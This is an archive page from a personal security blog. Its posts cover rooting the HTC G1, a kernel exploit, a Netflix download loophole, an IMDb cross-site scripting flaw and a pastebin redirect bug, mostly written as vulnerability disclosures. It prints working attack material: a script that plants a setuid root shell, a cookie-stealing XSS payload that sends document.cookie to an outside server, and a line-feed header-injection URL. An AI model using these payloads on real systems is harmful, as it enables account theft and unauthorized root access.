codeblog

8/12/2010

CryptProtect broken

Filed under: Blogging, Debian, Reverse Engineering, Security, Ubuntu, Ubuntu-Server, Vulnerabilities — kees @ 7:31 am

Dan Rosenberg pointed me to a paper from the 2010 WOOT conference that mentions my work to implement the CryptProtect function in Wine. Their research is awesome, and it was fun to compare my attempts at identifying the blob structure to what they discovered. Looks like I got the structure pretty well, but that was easy; they totally broke the encryption itself. Now those native blobs can be decrypted, opening the door to full NTFS interoperability, offline forensics of Windows encrypted files, etc. (For designers of future symmetric encryption methods: please don’t store the keys (in any form) on disk with the cipher text…)

What I found most alarming about this is a comparison to eCryptfs, and how it is implemented with the user’s login passphrase. In both cases, a hash of the passphrase is used to perform additional work that results in keying the final encryption. In eCryptfs, this hash is calculated to unlock the main key that is used for eCryptfs and is then thrown away (it can always be regenerated when the user logs in). If the user changes their passphrase, they must decrypt and re-encrypt the eCryptfs key (this is done automatically by PAM). Under Windows, to deal with potential user login passphrase changes, they instead decided to store all prior (SHA1) hashes of the user’s passphrases, even lacking a salt. So all the clear-text user login passphrases are recoverable with a standard rainbow table, in parallel. O_o

11/9/2008

“rooting” the HTC G1 Android

Filed under: Blogging, Debian, Embedded, Security, Ubuntu, Vulnerabilities — kees @ 10:27 am

People noticed that running telnetd seemed to run as root. Later it was discovered that everything you typed was being run by the root user also. So, that ends the first mystery: when you typed “telnetd” both the Terminal user and root ran it. It would fail (without error messages) for the Terminal user, and run successfully for the root user. So now, the question is, what the f is a root shell doing mirroring user input?!

So, there is a much easier way to get root that doesn’t require network connectivity. While the /sdcard mount point is nosuid,noexec, it’ll still run scripts if you explicitly direct them to run. It seems that the weird background root shell doesn’t understand the alt-keys, so it can only run stuff that can be typed without using alt, shift, etc. So, put the following in /sdcard/pwn:


mount -o remount,rw -t yaffs2 /dev/block/mtdblock3 /system
cd /system/bin
cat sh > sh.root
chmod 4755 sh.root
mount -o remount,ro -t yaffs2 /dev/block/mtdblock3 /system

You can either do this by dropping the file in place over USB mass storage, or you can type it via the Terminal using “cat“. (Rebooting here might help get the root shell in a sane state.) Finally, just navigate there without slashes and run the script:


$ cd sdcard
$ sh pwn

You’ll see lots of errors (but these are only from the Terminal user). The script is, however, run by the root shell too. You can verify the results:


$ ls -l /system/bin/sh*
-rwxr-xr-x root          shell     86936 2008-09-13 00:13 sh
-rwsr-xr-x root          root      86936 2008-11-09 10:12 sh.root

Next up: cross-compiling a little helper to elevate to real UID 0, and require a password to keep malware from looking for setuid shells.

9/24/2007

0×41 0×41 0×41 0×41

Filed under: Security, Ubuntu, Vulnerabilities — kees @ 8:34 pm

When trying to find buffer overflows, it is common practice to try and fill memory with lots of “A” characters. I first saw this when learning basic stack smashing techniques from Smashing the Stack for Fun and Profit, and have long wondered who did it first. Ever since, I’ve always used long strings of “A”s too (sometimes “B”s), and only recently started using better things like Metasploit’s pattern generator and offset reporter.

I’m fairly used to seeing things like this from my gdb sessions:

Program received signal SIGSEGV, Segmentation fault.
0×41414141 in ?? ()
(gdb)

It means I’ve managed to gain control of the instruction pointer, and I’m now to the stage of needing to locate and deliver a shellcode.

Over the weekend I had the pleasure of causing my kernel to do something similar, via an unprivileged userspace process, using the vulnerability discovered by Wojciech Purczynski:

[119647.578349] general protection fault: 0000 [3] SMP
[119647.578357] CPU 0
…
[119647.578759] Code: Bad RIP value.
[119647.578774] RIP [<4141414141414141>]

I hadn’t had an opportunity to play with kernel shellcode before, so I ended up learning a lot from Brad Spengler. Before the day was up, I was left staring at a root shell.

This was a nasty bug. Luckily, it’s “only” a local exploit, and only for x86_64 kernels. But that’s still a very large number of installations. Please make sure your x86_64 machines are patched against CVE-2007-4573 (for Ubuntu, this is USN-518-1).

4/1/2006

NetFlix movie downloading

Filed under: Multimedia, Vulnerabilities — kees @ 12:22 pm

Netflix accidentally lets you download movies for free. I reported this on March 18th, but they still haven’t replied. It’s been 2 weeks, so I’m posting the details now.

While digging through Netflix’s javascript I found a function named “startDownload“. I was originally just curious about the AJAX responsible for the movie info popup boxes, but this proved much more interesting.

I’m guessing they must be beta-testing this for some accounts because nothing visible through my account ever calls “startDownload“, but I could still use it.

Turns out the function handles a bitrate selection, and then just rewrites the URL a little. You can get the same affect by just adding “&download=avi&br=4” to the end of a movie info URL. For example, this is the URL to get info about Ice Age, and this is the URL to download Ice Age. This even seems to work without being logged in.

I haven’t had time to check if everything in their library is downloadable, but of the 6 or so I tried, they all worked. If anyone finds a cut-off date, let me know.

10/31/2005

imdb xss

Filed under: Security, Vulnerabilities — kees @ 10:43 pm

Last week I discovered a cross-site scripting vulnerability in IMDb’s website. It was a strong enough vulnerability that I could actively steal login sessions with it. Part of their Search system would pass the “to-be-displayed” location on the URL, and didn’t quote HTML entities. I was able to steal my own cookies and log in with my IMDb account from another computer. Last Wed, I reported it:

26 Oct 2005 10:29:59 PM
Hello!

It seems your service is vulnerable to cross-site scripting (XSS). Since you
have login information stored as cookies, it’s possible for people to trick
others into exposing their logins. As an example, this displays your cookies to
you in your browser:

http://imdb.com/List?locations=a&&heading=18;%3Cscript%3Ealert(document.cookie)%3C/script%3E

Please let me know if you have any questions. I love using IMDb, and thought
you might want to make yourselves more secure.

Thanks!

At 9am today, they had fixed it:

31 Oct 2005 09:01:17 AM
Thank you for your feedback about the Internet Movie Database.

The IMDb is constantly being updated and improved, and we welcome all comments and suggestions aimed at improving its features, flexibility and ease of use.

We appreciate that you took the time to share your thoughts with us. It has now been fixed.

Thank you for your support!

—-
Regards,
[name]
The IMDb Help Desk

Another success for vulnerability reporting!

As for a concrete example, the “heading” argument to their search tool was being displayed. The harmless example I used above just pops an alert dialog. To actually pass the cookies off-site where it can be collected, I used an invisible IFRAME, and pulled a content-less document from my server. To do this, I wanted the following to appear on the IMDb page:

<iframe src=”http://outflux.net/null.html?cookie” width=”0″ height=”0″ frameborder=”0″</iframe>

There are a number of ways to take the browser off-site. Another are the HTTP methods that get used in a lot of AJAX applications. I haven’t dug into using that, even though they’re way more powerful (since you don’t need to “hide” the results of an IFRAME, etc, if you don’t listen for the HTTP results, they just never get used — it’s only the “side-effect” of recording the cookie off-site that’s wanted). Since this XSS vulnerability lets me write JavaScript directly to the browser, I needed to inject the following:

document.write(‘<iframe src=”http://outflux.net/null.html?’+document.cookie+’” width=”0″ height=”0″ frameborder=”0″</iframe>’)

And here it is, HTML-encoded, stuffed into the middle of the “header” argument to the search function, disguised as a search for filming locations in Vancouver, BC:

http://imdb.com/List?endings=on&&locations=Koerner%20Plaza,%20University%20of%20British%20Columbia,%20Vancouver,%20British%20Columbia,%20Canada&&heading=18;with+locations+including;Koerner%20Plaza,%20University%20of%20British%20Columbia,%20Vancouver,%20British%20Columbia,%3Cscript%3Edocument.write(‘%3Ciframe%20src=%22http://outflux.net/null.html?’%2Bdocument.cookie%2B’%22%20width=%220%22%20height=%220%22%20frameborder=%220%22%3E%3C/iframe%3E’)%3C/script%3E%20Canada

And if you click that, you can see their newly fixed entity-escaping. Again, kudos to IMDb! Additionally, it looks like they rearranged their search tool to not even use the “header” argument anymore. Neato.

10/27/2005

pastebin rulez

Filed under: Security, Vulnerabilities — kees @ 7:40 am

When discussing code on IRC, I’ve found http://pastebin.com/ to be a valuable resource for sharing code snippets. It has a really simple interface, and can give you a semi-private area just by specifying a subdomain (e.g. http://yayoutflux.pastebin.com/).

I had spent some time yesterday doing some other security audits, and figured I’d poke around at pastebin. Overall, the system was fine (only two inputs: text and name — both were strongly filtered). I did discover a redirect bug, though, which would let me use the site to redirect to somewhere else. While there isn’t anything to “steal” on pastebin, a bad guy could still trick their unsuspecting friends into visiting other (maybe more dangerous?) websites.

I reported the problem to pastebin’s author (Paul Dixon), and he had it fixed before I woke up. That’s how vulnerability reporting is supposed to work! Thanks Paul!

Here’s how it used to work. From the pastebin help, you can type in a subdomain to use for your pastebin. (Like “yayoutflux” above.) The form did some checking (no /’s allowed), but would accidentally let you send whitespace, including a linefeed.

Normally, a web redirect from that form would look something like this, where the user input is shown in bold:

HTTP/1.1 302 Found
Location: http://yayoutflux.pastebin.com

However, if I add a linefeed (URL encoded as %0A: http://pastebin.com/pastebin.php?goprivate=cnn.com%0A), I could break the “Location” tag, and trick the browser into going somewhere else:

HTTP/1.1 302 Found
Location: http://cnn.com
.pastebin.com

Great illustration of redirection XSS.

Powered by WordPress